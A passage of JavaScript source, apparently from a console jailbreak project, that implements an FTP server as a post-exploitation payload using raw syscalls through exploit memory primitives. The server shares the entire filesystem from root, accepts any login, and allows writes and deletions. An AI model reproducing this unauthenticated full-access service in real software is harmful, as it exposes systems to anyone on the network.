No operation\r\n"), 270 | PWD: async () => this.sendCtrl(`257 "${this.curPath}" is the current directory\r\n`), 271 | TYPE: async () => { 272 | const m = cmd.match(/^TYPE\s+(.+)/i); const t = m && m[1]; 273 | if (t === "I") { this.transferType = "I"; this.sendCtrl("200 Switching to Binary mode\r\n"); } 274 | else if (t === "A") { this.transferType = "A"; this.sendCtrl("200 Switching to ASCII mode\r\n"); } 275 | else this.sendCtrl("504 Command not implemented for that parameter\r\n"); 276 | }, 277 | SYST: async () => this.sendCtrl("215 UNIX Type: L8\r\n"), 278 | FEAT: async () => { this.sendCtrl("211-extensions\r\n"); this.sendCtrl("REST STREAM\r\n"); this.sendCtrl("211 end\r\n"); }, 279 | 280 | PASV: async () => { 281 | const pasv = create_tcp_server_force(0); // puerto aleatorio 282 | this.data.passive.serverFd = Number(pasv.fd); 283 | const sn = getsockname(pasv.fd); 284 | this.data.passive.port = sn.port; 285 | this.data.mode = CONN.PASSIVE; 286 | const ip = this.serverIp.split(".").map(Number); 287 | const p = sn.port; const p1 = (p >> 8) & 0xFF; const p2 = p & 0xFF; 288 | this.sendCtrl(`227 Entering Passive Mode (${ip[0]},${ip[1]},${ip[2]},${ip[3]},${p1},${p2})\r\n`); 289 | (async () => { 290 | const cfd = accept_blocking(BigInt(this.data.passive.serverFd)); 291 | this.data.passive.clientFd = cfd; 292 | dbg(`PASV data conectado fd=${cfd}`); 293 | })(); 294 | }, 295 | 296 | PORT: async () => { 297 | const m = cmd.match(/^PORT\s+(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)/i); 298 | if (!m) return; 299 | const [_, a,b,c,d,p1,p2] = m; 300 | const host = `${a}.${b}.${c}.${d}`; 301 | const port = ((parseInt(p1,10) << 8) | parseInt(p2,10)); 302 | const ds = tcp_connect(host, port); 303 | this.data.active.fd = Number(ds.fd); 304 | this.data.mode = CONN.ACTIVE; 305 | this.sendCtrl("200 PORT command ok\r\n"); 306 | }, 307 | 308 | LIST: async () => { 309 | const st = stat_path(this.curPath); 310 | if (!st || !is_dir(st.mode)) { this.sendCtrl(`550 Invalid directory. Got ${this.curPath}\r\n`); return; } 311 | const names = readdir_names(this.curPath) || []; 312 | this.sendCtrl("150 Opening ASCII mode data transfer for LIST.\r\n"); 313 | const df = await this.ensureDataConn(); 314 | for (const name of names) { 315 | const full = normalizePath(this.root, `${this.curPath}/${name}`, this.curPath); 316 | const s = stat_path(full); 317 | if (!s) continue; 318 | const ms = mode_string(s.mode, is_dir(s.mode)); 319 | const size = s.size || 0; 320 | const now = new Date(); 321 | const mon = MONTHS[now.getUTCMonth()]; 322 | const day = String(now.getUTCDate()).padStart(2, "0"); 323 | const hour = String(now.getUTCHours()).padStart(2, "0"); 324 | const mins = String(now.getUTCMinutes()).padStart(2, "0"); 325 | const line = `${ms} 1 ps5 ps5 ${size} ${mon} ${day} ${hour}:${mins} ${name}\r\n`; 326 | this.writeData(df, line); 327 | } 328 | this.closeDataConn(); 329 | this.sendCtrl("226 Transfer complete\r\n"); 330 | }, 331 | 332 | SIZE: async () => { 333 | const st = stat_path(this.curPath); 334 | if (!st || !is_reg(st.mode)) { this.sendCtrl("550 The file doesn't exist\r\n"); return; } 335 | this.sendCtrl(`213 ${st.size || 0}\r\n`); 336 | }, 337 | 338 | CWD: async () => { 339 | const m = cmd.match(/^CWD\s+(.+)/i); const target = m && m[1]; 340 | if (!target) { this.sendCtrl("500 Syntax error, command unrecognized.\r\n"); return; } 341 | let tmp; 342 | if (target === "/") tmp = this.root; 343 | else if (target === "..") tmp = dirname(this.curPath); 344 | else tmp = normalizePath(this.root, target, this.curPath); 345 | const st = stat_path(tmp); 346 | if (!st || !is_dir(st.mode)) { this.sendCtrl("550 Invalid directory.\r\n"); return; } 347 | this.curPath = tmp; 348 | this.sendCtrl("250 Requested file action okay, completed.\r\n"); 349 | }, 350 | 351 | CDUP: async () => { this.curPath = dirname(this.curPath); this.sendCtrl("200 Command okay\r\n"); }, 352 | 353 | RETR: async () => { 354 | const m = cmd.match(/^RETR\s+(.+)/i); const rel = (m && m[1]) || ""; 355 | const path = normalizePath(this.root, rel, this.curPath); 356 | dbg(`RETR ${path}`); 357 | this.sendCtrl("150 Opening Image mode data transfer\r\n"); 358 | const df = await this.ensureDataConn(); 359 | const fd = open_read(path); 360 | if (fd < 0) { 361 | const msg = "File not found. Placeholder payload.\n"; 362 | this.writeData(df, msg); 363 | this.closeDataConn(); 364 | this.sendCtrl("226 Transfer completed\r\n"); 365 | return; 366 | } 367 | if (this.restorePoint > 0) { 368 | let left = this.restorePoint; 369 | while (left > 0) { 370 | const toRead = Math.min(FTP.CHUNK, left); 371 | const n = read_fd(fd, this.buf, toRead); 372 | if (n <= 0) break; 373 | left -= n; 374 | } 375 | } 376 | while (true) { 377 | const n = read_fd(fd, this.buf, FTP.CHUNK); 378 | if (n <= 0) break; 379 | this.writeDataRaw(df, this.buf, n); 380 | } 381 | close_fd(fd); 382 | this.closeDataConn(); 383 | this.sendCtrl("226 Transfer completed\r\n"); 384 | }, 385 | 386 | STOR: async () => { 387 | const m = cmd.match(/^STOR\s+(.+)/i); const rel = (m && m[1]) || ""; 388 | const path = normalizePath(this.root, rel, this.curPath); 389 | dbg(`STOR ${path}`); 390 | const df = await this.ensureDataConn(); 391 | const fd = open_write(path, { create: true, append: this.restorePoint >= 0, truncate: this.restorePoint < 0 }); 392 | if (fd < 0) { this.sendCtrl("500 Error opening file\r\n"); this.closeDataConn(); return; } 393 | this.sendCtrl("150 Opening Image mode data transfer\r\n"); 394 | while (true) { 395 | const n = this.readData(df, this.buf, FTP.CHUNK); 396 | if (n <= 0) break; 397 | const w = write_fd(fd, this.buf, n); 398 | if (w < n) { this.sendCtrl("550 File write error\r\n"); break; } 399 | } 400 | close_fd(fd); 401 | this.closeDataConn(); 402 | this.sendCtrl("226 Transfer completed\r\n"); 403 | }, 404 | 405 | APPE: async () => { 406 | const m = cmd.match(/^APPE\s+(.+)/i); const rel = (m && m[1]) || ""; 407 | const path = normalizePath(this.root, rel, this.curPath); 408 | dbg(`APPE ${path}`); 409 | this.restorePoint = -1; 410 | const df = await this.ensureDataConn(); 411 | const fd = open_write(path, { create: true, append: true, truncate: false }); 412 | if (fd < 0) { this.sendCtrl("500 Error opening file\r\n"); this.closeDataConn(); return; } 413 | this.sendCtrl("150 Opening Image mode data transfer\r\n"); 414 | while (true) { 415 | const n = this.readData(df, this.buf, FTP.CHUNK); 416 | if (n <= 0) break; 417 | const w = write_fd(fd, this.buf, n); 418 | if (w < n) { this.sendCtrl("550 File write error\r\n"); break; } 419 | } 420 | close_fd(fd); 421 | this.closeDataConn(); 422 | this.sendCtrl("226 Transfer completed\r\n"); 423 | }, 424 | 425 | REST: async () => { 426 | const m = cmd.match(/^REST\s+(\d+)/i); 427 | const off = m ? parseInt(m[1], 10) : -1; 428 | this.restorePoint = off; 429 | dbg(`REST ${off}`); 430 | this.sendCtrl(`350 Resuming at ${off}\r\n`); 431 | }, 432 | 433 | MKD: async () => { 434 | const m = cmd.match(/^MKD\s+(.+)/i); const rel = (m && m[1]) || ""; 435 | const path = normalizePath(this.root, rel, this.curPath); 436 | dbg(`MKD ${path}`); 437 | const p = alloc_string(path); 438 | const r = syscall(SYSCALL.mkdir, p, BigInt(parseInt("0755", 8))); 439 | if (Number(r) < 0) this.sendCtrl("501 Syntax error. Not privileged.\r\n"); 440 | else this.sendCtrl(`257 "${rel}" created.\r\n`); 441 | }, 442 | 443 | RMD: async () => { 444 | const m = cmd.match(/^RMD\s+(.+)/i); const rel = (m && m[1]) || ""; 445 | const path = normalizePath(this.root, rel, this.curPath); 446 | dbg(`RMD ${path}`); 447 | const p = alloc_string(path); 448 | const r = syscall(SYSCALL.rmdir, p); 449 | if (Number(r) < 0) this.sendCtrl("550 Directory not found or permission denied\r\n"); 450 | else this.sendCtrl(`250 "${rel}" has been removed\r\n`); 451 | }, 452 | 453 | DELE: async () => { 454 | const m = cmd.match(/^DELE\s+(.+)/i); const rel = (m && m[1]) || ""; 455 | const path = normalizePath(this.root, rel, this.curPath); 456 | dbg(`DELE ${path}`); 457 | const p = alloc_string(path); 458 | const r = syscall(SYSCALL.unlink, p); 459 | if (Number(r) < 0) this.sendCtrl("550 Could not delete the file\r\n"); 460 | else this.sendCtrl("226 File deleted\r\n"); 461 | }, 462 | 463 | RNFR: async () => { 464 | const m = cmd.match(/^RNFR\s+(.+)/i); const rel = (m && m[1]) || ""; 465 | const path = normalizePath(this.root, rel, this.curPath); 466 | dbg(`RNFR ${path}`); 467 | const st = stat_path(path); 468 | if (st) { this.renameFrom = rel; this.sendCtrl("350 Remembered filename\r\n"); } 469 | else this.sendCtrl("550 The file doesn't exist\r\n"); 470 | }, 471 | 472 | RNTO: async () => { 473 | const m = cmd.match(/^RNTO\s+(.+)/i); const relNew = (m && m[1]) || ""; 474 | const oldPath = normalizePath(this.root, this.renameFrom, this.curPath); 475 | const newPath = normalizePath(this.root, relNew, this.curPath); 476 | dbg(`RNTO\n${oldPath}\n${newPath}`); 477 | const po = alloc_string(oldPath), pn = alloc_string(newPath); 478 | const r = syscall(SYSCALL.rename, po, pn); 479 | if (Number(r) < 0) this.sendCtrl("550 Error renaming file\r\n"); 480 | else this.sendCtrl("226 Renamed file\r\n"); 481 | }, 482 | 483 | SITE: async () => { this.sendCtrl("550 Syntax error, command unrecognized\r\n"); }, 484 | 485 | QUIT: async () => { this.sendCtrl("221 Goodbye\r\n"); return true; } 486 | }; 487 | 488 | const h = handlers[op] || (async () => { this.sendCtrl("500 Syntax error, command unrecognized.\r\n"); dbg(`No implementado: ${cmd}`); }); 489 | return await h(); 490 | } 491 | 492 | async ensureDataConn() { 493 | if (this.data.mode === CONN.ACTIVE) return this.data.active.fd; 494 | if (this.data.mode === CONN.PASSIVE) { 495 | let tries = 0; 496 | while (this.data.passive.clientFd < 0 && tries++ < 500) { 497 | await new Promise(res => nrdp.setTimeout(res, 10)); 498 | } 499 | return this.data.passive.clientFd; 500 | } 501 | throw new Error("Sin conexión de datos"); 502 | } 503 | 504 | writeData(fd, str) { const s = alloc_string(str); write_fd(fd, s, str.length); } 505 | writeDataRaw(fd, bufAddr, len) { write_fd(fd, bufAddr, len); } 506 | readData(fd, bufAddr, len) { return read_fd(fd, bufAddr, len); } 507 | 508 | closeDataConn() { 509 | try { 510 | if (this.data.mode === CONN.ACTIVE && this.data.active.fd >= 0) { close_fd(this.data.active.fd); this.data.active.fd = -1; } 511 | else if (this.data.mode === CONN.PASSIVE) { 512 | if (this.data.passive.clientFd >= 0) { close_fd(this.data.passive.clientFd); this.data.passive.clientFd = -1; } 513 | if (this.data.passive.serverFd >= 0) { close_fd(this.data.passive.serverFd); this.data.passive.serverFd = -1; } 514 | } 515 | } catch (_) {} 516 | this.data.mode = CONN.NONE; 517 | } 518 | 519 | cleanup() { 520 | try { this.closeDataConn(); } catch (_) {} 521 | try { if (this.ctrl.clientFd >= 0) close_fd(this.ctrl.clientFd); } catch (_) {} 522 | try { if (this.ctrl.serverFd >= 0) close_fd(this.ctrl.serverFd); } catch (_) {} 523 | notify("FTP Server closed"); 524 | dbg("FTP cerrado"); 525 | } 526 | } 527 | 528 | // ===== IP actual ===== 529 | function get_current_ip_safe() { 530 | const ip = get_current_ip(); 531 | if (!ip || ip === "0.0.0.0") throw new Error("Sin red disponible"); 532 | return ip; 533 | } 534 | 535 | // ===== Bootstrap ===== 536 | (function main_ftp() { 537 | try { 538 | logger.init(); 539 | FTP.SERVER_IP = get_current_ip_safe(); 540 | const srv = new FTPServer(FTP.SERVER_IP, FTP.CTRL_PORT, FTP.ROOT_PATH); 541 | dbg(`Iniciando FTP (deseado ${FTP.CTRL_PORT}) en ${FTP.SERVER_IP}`); 542 | srv.start(); 543 | notify(`FTP listo en ${FTP.SERVER_IP}:${FTP.CTRL_PORT}`); 544 | } catch (e) { 545 | dbg("ERROR FTP: " + e.message); 546 | } 547 | })(); 548 | 549 | -------------------------------------------------------------------------------- /payloads/ftpserver.js: -------------------------------------------------------------------------------- 1 | // ===== Configuración ===== 2 | const FTP = { 3 | SERVER_IP: null, 4 | CTRL_PORT: 1337, // deseado 5 | ROOT_PATH: "/", 6 | CHUNK: 8192, 7 | DEBUG: true 8 | }; 9 | 10 | function dbg(msg) { try { logger.log("[FTP] " + msg); } catch (_) {} } 11 | function notify(msg) { try { send_notification(msg); } catch (_) {} } 12 | 13 | // ===== Extiende SYSCALL con números del payload Lua ===== 14 | // Si ya existen en tu objeto SYSCALL, estos complementan lo faltante. 15 | if (!globalThis.SYSCALL) globalThis.SYSCALL = {}; 16 | Object.assign(SYSCALL, { 17 | // ya presentes en tu exploit: 18 | read: SYSCALL.read ?? 0x3n, 19 | write: SYSCALL.write ?? 0x4n, 20 | open: SYSCALL.open ?? 0x5n, 21 | close: SYSCALL.close ?? 0x6n, 22 | getsockname: SYSCALL.getsockname ?? 0x20n, 23 | accept: SYSCALL.accept ?? 0x1en, 24 | socket: SYSCALL.socket ?? 0x61n, 25 | connect: SYSCALL.connect ?? 0x62n, 26 | bind: SYSCALL.bind ?? 0x68n, 27 | setsockopt: SYSCALL.setsockopt ?? 0x69n, 28 | listen: SYSCALL.listen ?? 0x6an, 29 | netgetiflist: SYSCALL.netgetiflist ?? 0x7dn, 30 | // añadidos de Lua: 31 | stat: SYSCALL.stat ?? 0xBCn, // 188 32 | getdents: SYSCALL.getdents ?? 0x110n, // 272 33 | mkdir: SYSCALL.mkdir ?? 0x88n, // 136 34 | rmdir: SYSCALL.rmdir ?? 0x89n, // 137 35 | rename: SYSCALL.rename ?? 0x80n, // 128 36 | unlink: SYSCALL.unlink ?? 0xAn, // 10 37 | lseek: SYSCALL.lseek ?? 0x1DEn // 478 38 | }); 39 | 40 | // ===== Constantes ===== 41 | const AF_INET = 2n; 42 | const SOCK_STREAM = 1n; 43 | const SOL_SOCKET = 0xffffn; 44 | const SO_REUSEADDR = 4n; 45 | const O_RDONLY = 0n, O_RDWR = 2n, O_CREAT = 0x100n, O_TRUNC = 0x1000n, O_APPEND = 0x2000n; 46 | 47 | // ===== Helpers ===== 48 | function htons(n) { return ((n & 0xFF) << 8) | ((n >> 8) & 0xFF); } 49 | function joinPath(a, b) { return a.endsWith("/") ? a + b : a + "/" + b; } 50 | function dirname(p) { if (p === "/") return "/"; const parts = p.split("/").filter(Boolean); parts.pop(); return parts.length ? "/" + parts.join("/") : "/"; } 51 | function normalizePath(root, input, curPath) { 52 | const sep = "/"; 53 | let raw; 54 | if (!input || input === "/") raw = root; 55 | else if (input.startsWith(sep)) raw = input; 56 | else raw = curPath === "/" ? joinPath(root, input) : joinPath(curPath, input); 57 | const parts = raw.split("/").filter(Boolean); 58 | const out = []; 59 | for (const p of parts) { if (p === ".") continue; if (p === "..") { if (out.length) out.pop(); continue; } out.push(p); } 60 | const normalized = sep + out.join("/"); 61 | const rootNorm = root === "/" ? "/" : root; 62 | if (!normalized.startsWith(rootNorm)) return rootNorm; 63 | return normalized; 64 | } 65 | const MONTHS = ["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]; 66 | 67 | // ===== Syscalls de red ===== 68 | function create_tcp_server_force(portWanted) { 69 | const sockaddr = malloc(16); 70 | const opt = malloc(4); 71 | write32_uncompressed(opt, 1); 72 | 73 | const fd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n); 74 | if (Number(fd) < 0) throw new Error("socket() falló"); 75 | 76 | // Intento 1: puerto deseado 77 | write8_uncompressed(sockaddr + 1n, AF_INET); 78 | write16_uncompressed(sockaddr + 2n, htons(portWanted)); 79 | write32_uncompressed(sockaddr + 4n, 0); // INADDR_ANY 80 | syscall(SYSCALL.setsockopt, fd, SOL_SOCKET, SO_REUSEADDR, opt, 4n); 81 | 82 | let br = syscall(SYSCALL.bind, fd, sockaddr, 16n); 83 | if (Number(br) < 0) { 84 | dbg(`bind(${portWanted}) falló, reintentando con puerto 0`); 85 | // Intento 2: puerto aleatorio 86 | write16_uncompressed(sockaddr + 2n, 0); 87 | br = syscall(SYSCALL.bind, fd, sockaddr, 16n); 88 | if (Number(br) < 0) { syscall(SYSCALL.close, fd); throw new Error("bind() falló"); } 89 | } 90 | 91 | const lr = syscall(SYSCALL.listen, fd, 128n); 92 | if (Number(lr) < 0) { syscall(SYSCALL.close, fd); throw new Error("listen() falló"); } 93 | 94 | return { fd, sockaddr }; 95 | } 96 | 97 | function getsockname(fd) { 98 | const addr = malloc(16); 99 | const lenp = malloc(8); 100 | write32_uncompressed(lenp, 16); 101 | syscall(SYSCALL.getsockname, fd, addr, lenp); 102 | const port_be = read16_uncompressed(addr + 2n); 103 | const p = Number(((port_be & 0xFFn) << 8n) | ((port_be >> 8n) & 0xFFn)); 104 | return { addr, port: p }; 105 | } 106 | 107 | function accept_blocking(serverFd) { 108 | const addr = malloc(16); 109 | const lenp = malloc(8); 110 | write32_uncompressed(lenp, 16); 111 | const cfd = syscall(SYSCALL.accept, serverFd, addr, lenp); 112 | return Number(cfd); 113 | } 114 | 115 | function tcp_connect(host, port) { 116 | const saddr = malloc(16); 117 | const cfd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n); 118 | if (Number(cfd) < 0) throw new Error("socket() connect falló"); 119 | 120 | const [a,b,c,d] = host.split(".").map(x => Number(x)); 121 | const ip32 = (a << 24) | (b << 16) | (c << 8) | d; 122 | 123 | write8_uncompressed(saddr + 1n, AF_INET); 124 | write16_uncompressed(saddr + 2n, htons(port)); 125 | write32_uncompressed(saddr + 4n, ip32); 126 | 127 | const rr = syscall(SYSCALL.connect, cfd, saddr, 16n); 128 | if (Number(rr) < 0) { syscall(SYSCALL.close, cfd); throw new Error("connect() falló"); } 129 | return { fd: cfd, sockaddr: saddr }; 130 | } 131 | 132 | // ===== FS ===== 133 | function open_read(path) { const p = alloc_string(path); const fd = syscall(SYSCALL.open, p, O_RDONLY); return Number(fd); } 134 | function open_write(path, { create, append, truncate }) { 135 | let flags = O_RDWR; 136 | if (create) flags |= O_CREAT; 137 | if (append) flags |= O_APPEND; 138 | if (truncate) flags |= O_TRUNC; 139 | const p = alloc_string(path); 140 | const fd = syscall(SYSCALL.open, p, flags); 141 | return Number(fd); 142 | } 143 | function close_fd(fd) { syscall(SYSCALL.close, BigInt(fd)); } 144 | function read_fd(fd, bufAddr, len) { const r = syscall(SYSCALL.read, BigInt(fd), bufAddr, BigInt(len)); return Number(r); } 145 | function write_fd(fd, bufAddr, len) { const r = syscall(SYSCALL.write, BigInt(fd), bufAddr, BigInt(len)); return Number(r); } 146 | 147 | function stat_path(path) { 148 | const st = malloc(120); 149 | const p = alloc_string(path); 150 | const ret = syscall(SYSCALL.stat, p, st); 151 | if (Number(ret) < 0) return null; 152 | const mode = Number(read16_uncompressed(st + 8n)); 153 | const size = Number(read32_uncompressed(st + 72n)) | (Number(read32_uncompressed(st + 76n)) << 32); 154 | return { st, mode, size }; 155 | } 156 | function is_dir(mode) { return (mode & parseInt("040000", 8)) === parseInt("040000", 8); } 157 | function is_reg(mode) { return (mode & parseInt("0100000", 8)) === parseInt("0100000", 8); } 158 | 159 | function readdir_names(dirPath) { 160 | const fd = open_read(dirPath); 161 | if (fd < 0) return null; 162 | const buf = malloc(4096); 163 | const names = []; 164 | while (true) { 165 | const nread = syscall(SYSCALL.getdents, BigInt(fd), buf, 4096n); 166 | const n = Number(nread); 167 | if (n <= 0) break; 168 | let entry = buf; 169 | const end = buf + BigInt(n); 170 | while (entry < end) { 171 | const length = Number(read8_uncompressed(entry + 4n)); 172 | if (length === 0) break; 173 | let name = ""; 174 | for (let i = 0; i < 256; i++) { 175 | const c = Number(read8_uncompressed(entry + 8n + BigInt(i))); 176 | if (c === 0) break; 177 | name += String.fromCharCode(c); 178 | } 179 | if (name && name !== "." && name !== "..") names.push(name); 180 | entry = entry + BigInt(length); 181 | } 182 | } 183 | close_fd(fd); 184 | return names; 185 | } 186 | 187 | function mode_string(mode, isDirFlag) { 188 | const tri = v => ((v & 4) ? "r" : "-") + ((v & 2) ? "w" : "-") + ((v & 1) ? (isDirFlag ? "s" : "x") : (isDirFlag ? "S" : "-")); 189 | const u = (mode >> 6) & 7, g = (mode >> 3) & 7, o = mode & 7; 190 | return (isDirFlag ? "d" : "-") + tri(u) + tri(g) + tri(o); 191 | } 192 | 193 | // ===== Estado ===== 194 | const CONN = { NONE: "none", ACTIVE: "active", PASSIVE: "passive" }; 195 | 196 | class FTPServer { 197 | constructor(ip, port, root) { 198 | this.serverIp = ip; 199 | this.ctrlPortWanted = port; 200 | this.root = root; 201 | this.ctrl = { serverFd: -1, clientFd: -1, portActual: -1 }; 202 | this.data = { mode: CONN.NONE, active: { fd: -1 }, passive: { serverFd: -1, port: 0, clientFd: -1 } }; 203 | this.curPath = root; 204 | this.transferType = "I"; 205 | this.restorePoint = -1; 206 | this.renameFrom = ""; 207 | this.buf = malloc(FTP.CHUNK); 208 | } 209 | 210 | start() { 211 | const srv = create_tcp_server_force(this.ctrlPortWanted); 212 | this.ctrl.serverFd = Number(srv.fd); 213 | const sn = getsockname(srv.fd); 214 | this.ctrl.portActual = sn.port; 215 | 216 | notify(`FTP control escuchando en ${this.serverIp}:${this.ctrl.portActual}`); 217 | dbg(`CTRL deseado=${this.ctrlPortWanted} actual=${this.ctrl.portActual}`); 218 | 219 | (async () => { 220 | while (true) { 221 | await new Promise(res => nrdp.setTimeout(res, 10)); 222 | const cfd = accept_blocking(BigInt(this.ctrl.serverFd)); 223 | if (cfd >= 0) { 224 | this.ctrl.clientFd = cfd; 225 | dbg(`Cliente control conectado fd=${cfd}`); 226 | this.sendCtrl("220 JS FTP Server\r\n"); 227 | this.controlLoop(); 228 | break; 229 | } 230 | } 231 | })(); 232 | } 233 | 234 | sendCtrl(s) { 235 | const msg = alloc_string(s); 236 | write_fd(this.ctrl.clientFd, msg, s.length); 237 | } 238 | 239 | recvLine() { 240 | const lineBuf = []; 241 | while (true) { 242 | const n = read_fd(this.ctrl.clientFd, this.buf, 1); 243 | if (n <= 0) return null; 244 | const ch = Number(read8_uncompressed(this.buf)); 245 | lineBuf.push(ch); 246 | const L = lineBuf.length; 247 | if (L >= 2 && lineBuf[L-2] === 13 && lineBuf[L-1] === 10) { 248 | return String.fromCharCode(...lineBuf.slice(0, -2)); 249 | } 250 | } 251 | } 252 | 253 | async controlLoop() { 254 | while (true) { 255 | const line = this.recvLine(); 256 | if (line === null) break; 257 | const cmd = line.trim(); 258 | dbg(`CMD: ${cmd}`); 259 | const op = cmd.split(" ")[0].toUpperCase(); 260 | if (await this.dispatch(op, cmd)) break; 261 | } 262 | this.cleanup(); 263 | } 264 | 265 | async dispatch(op, cmd) { 266 | const handlers = { 267 | USER: async () => this.sendCtrl("331 Anonymous login accepted, send your email as password\r\n"), 268 | PASS: async () => this.sendCtrl("230 User logged in\r\n"), 269 | NOOP: async () => this.sendCtrl("200 No operation\r\n"), 270 | PWD: async () => this.sendCtrl(`257 "${this.curPath}" is the current directory\r\n`), 271 | TYPE: async () => { 272 | const m = cmd.match(/^TYPE\s+(.+)/i); const t = m && m[1]; 273 | if (t === "I") { this.transferType = "I"; this.sendCtrl("200 Switching to Binary mode\r\n"); } 274 | else if (t === "A") { this.transferType = "A"; this.sendCtrl("200 Switching to ASCII mode\r\n"); } 275 | else this.sendCtrl("504 Command not implemented for that parameter\r\n"); 276 | }, 277 | SYST: async () => this.sendCtrl("215 UNIX Type: L8\r\n"), 278 | FEAT: async () => { this.sendCtrl("211-extensions\r\n"); this.sendCtrl("REST STREAM\r\n"); this.sendCtrl("211 end\r\n"); }, 279 | 280 | PASV: async () => { 281 | const pasv = create_tcp_server_force(0); // puerto aleatorio 282 | this.data.passive.serverFd = Number(pasv.fd); 283 | const sn = getsockname(pasv.fd); 284 | this.data.passive.port = sn.port; 285 | this.data.mode = CONN.PASSIVE; 286 | const ip = this.serverIp.split(".").map(Number); 287 | const p = sn.port; const p1 = (p >> 8) & 0xFF; const p2 = p & 0xFF; 288 | this.sendCtrl(`227 Entering Passive Mode (${ip[0]},${ip[1]},${ip[2]},${ip[3]},${p1},${p2})\r\n`); 289 | (async () => { 290 | const cfd = accept_blocking(BigInt(this.data.passive.serverFd)); 291 | this.data.passive.clientFd = cfd; 292 | dbg(`PASV data conectado fd=${cfd}`); 293 | })(); 294 | }, 295 | 296 | PORT: async () => { 297 | const m = cmd.match(/^PORT\s+(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)/i); 298 | if (!m) return; 299 | const [_, a,b,c,d,p1,p2] = m; 300 | const host = `${a}.${b}.${c}.${d}`; 301 | const port = ((parseInt(p1,10) << 8) | parseInt(p2,10)); 302 | const ds = tcp_connect(host, port); 303 | this.data.active.fd = Number(ds.fd); 304 | this.data.mode = CONN.ACTIVE; 305 | this.sendCtrl("200 PORT command ok\r\n"); 306 | }, 307 | 308 | LIST: async () => { 309 | const st = stat_path(this.curPath); 310 | if (!st || !is_dir(st.mode)) { this.sendCtrl(`550 Invalid directory. Got ${this.curPath}\r\n`); return; } 311 | const names = readdir_names(this.curPath) || []; 312 | this.sendCtrl("150 Opening ASCII mode data transfer for LIST.\r\n"); 313 | const df = await this.ensureDataConn(); 314 | for (const name of names) { 315 | const full = normalizePath(this.root, `${this.curPath}/${name}`, this.curPath); 316 | const s = stat_path(full); 317 | if (!s) continue; 318 | const ms = mode_string(s.mode, is_dir(s.mode)); 319 | const size = s.size || 0; 320 | const now = new Date(); 321 | const mon = MONTHS[now.getUTCMonth()]; 322 | const day = String(now.getUTCDate()).padStart(2, "0"); 323 | const hour = String(now.getUTCHours()).padStart(2, "0"); 324 | const mins = String(now.getUTCMinutes()).padStart(2, "0"); 325 | const line = `${ms} 1 ps5 ps5 ${size} ${mon} ${day} ${hour}:${mins} ${name}\r\n`; 326 | this.writeData(df, line); 327 | } 328 | this.closeDataConn(); 329 | this.sendCtrl("226 Transfer complete\r\n"); 330 | }, 331 | 332 | SIZE: async () => { 333 | const st = stat_path(this.curPath); 334 | if (!st || !is_reg(st.mode)) { this.sendCtrl("550 The file doesn't exist\r\n"); return; } 335 | this.sendCtrl(`213 ${st.size || 0}\r\n`); 336 | }, 337 | 338 | CWD: async () => { 339 | const m = cmd.match(/^CWD\s+(.+)/i); const target = m && m[1]; 340 | if (!target) { this.sendCtrl("500 Syntax error, command unrecognized.\r\n"); return; } 341 | let tmp; 342 | if (target === "/") tmp = this.root; 343 | else if (target === "..") tmp = dirname(this.curPath); 344 | else tmp = normalizePath(this.root, target, this.curPath); 345 | const st = stat_path(tmp); 346 | if (!st || !is_dir(st.mode)) { this.sendCtrl("550 Invalid directory.\r\n"); return; } 347 | this.curPath = tmp; 348 | this.sendCtrl("250 Requested file action okay, completed.\r\n"); 349 | }, 350 | 351 | CDUP: async () => { this.curPath = dirname(this.curPath); this.sendCtrl("200 Command okay\r\n"); }, 352 | 353 | RETR: async () => { 354 | const m = cmd.match(/^RETR\s+(.+)/i); const rel = (m && m[1]) || ""; 355 | const path = normalizePath(this.root, rel, this.curPath); 356 | dbg(`RETR ${path}`); 357 | this.sendCtrl("150 Opening Image mode data transfer\r\n"); 358 | const df = await this.ensureDataConn(); 359 | const fd = open_read(path); 360 | if (fd < 0) { 361 | const msg = "File not found. Placeholder payload.\n"; 362 | this.writeData(df, msg); 363 | this.closeDataConn(); 364 | this.sendCtrl("226 Transfer completed\r\n"); 365 | return; 366 | } 367 | if (this.restorePoint > 0) { 368 | let left = this.restorePoint; 369 | while (left > 0) { 370 | const toRead = Math.min(FTP.CHUNK, left); 371 | const n = read_fd(fd, this.buf, toRead); 372 | if (n <= 0) break; 373 | left -= n; 374 | } 375 | } 376 | while (true) { 377 | const n = read_fd(fd, this.buf, FTP.CHUNK); 378 | if (n <= 0) break; 379 | this.writeDataRaw(df, this.buf, n); 380 | } 381 | close_fd(fd); 382 | this.closeDataConn(); 383 | this.sendCtrl("226 Transfer completed\r\n"); 384 | }, 385 | 386 | STOR: async () => { 387 | const m = cmd.match(/^STOR\s+(.+)/i); const rel = (m && m[1]) || ""; 388 | const path = normalizePath(this.root, rel, this.curPath); 389 | dbg(`STOR ${path}`); 390 | const df = await this.ensureDataConn(); 391 | const fd = open_write(path, { create: true, append: this.restorePoint >= 0, truncate: this.restorePoint < 0 }); 392 | if (fd < 0) { this.sendCtrl("500 Error opening file\r\n"); this.closeDataConn(); return; } 393 | this.sendCtrl("150 Opening Image mode data transfer\r\n"); 394 | while (true) { 395 | const n = this.readData(df, this.buf, FTP.CHUNK); 396 | if (n <= 0) break; 397 | const w = write_fd(fd, this.buf, n); 398 | if (w < n) { this.sendCtrl("550 File write error\r\n"); break; } 399 | } 400 | close_fd(fd); 401 | this.closeDataConn(); 402 | this.sendCtrl("226 Transfer completed\r\n"); 403 | }, 404 | 405 | APPE: async () => { 406 | const m = cmd.match(/^APPE\s+(.+)/i); const rel = (m && m[1]) || ""; 407 | const path = normalizePath(this.root, rel, this.curPath); 408 | dbg(`APPE ${path}`); 409 | this.restorePoint = -1; 410 | const df = await this.ensureDataConn(); 411 | const fd = open_write(path, { create: true, append: true, truncate: false }); 412 | if (fd < 0) { this.sendCtrl("500 Error opening file\r\n"); this.closeDataConn(); return; } 413 | this.sendCtrl("150 Opening Image mode data transfer\r\n"); 414 | while (true) { 415 | const n = this.readData(df, this.buf, FTP.CHUNK); 416 | if (n <= 0) break; 417 | const w = write_fd(fd, this.buf, n); 418 | if (w < n) { this.sendCtrl("550 File write error\r\n"); break; } 419 | } 420 | close_fd(fd); 421 | this.closeDataConn(); 422 | this.sendCtrl("226 Transfer completed\r\n"); 423 | }, 424 | 425 | REST: async () => { 426 | const m = 